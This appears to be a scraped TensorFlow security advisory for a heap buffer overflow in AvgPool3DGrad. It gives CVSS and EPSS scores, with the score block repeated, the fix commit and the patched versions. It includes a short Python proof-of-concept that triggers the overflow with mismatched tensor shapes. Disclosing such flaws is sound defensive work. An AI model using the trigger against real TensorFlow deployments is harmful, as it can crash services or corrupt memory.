CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:L/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
17.8%
The implementation of tf.raw_ops.AvgPool3DGrad
is vulnerable to a heap buffer overflow:
import tensorflow as tf
orig_input_shape = tf.constant([10, 6, 3, 7, 7], shape=[5], dtype=tf.int32)
grad = tf.constant([0.01, 0, 0], shape=[3, 1, 1, 1, 1], dtype=tf.float32)
ksize = [1, 1, 1, 1, 1]
strides = [1, 1, 1, 1, 1]
padding = "SAME"
tf.raw_ops.AvgPool3DGrad(
orig_input_shape=orig_input_shape, grad=grad, ksize=ksize, strides=strides,
padding=padding)
The implementation assumes that the orig_input_shape
and grad
tensors have similar first and last dimensions but does not check that this assumption is validated.
We have patched the issue in GitHub commit 6fc9141f42f6a72180ecd24021c3e6b36165fe0d.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
CVSS2
Attack Vector
LOCAL
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:L/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
17.8%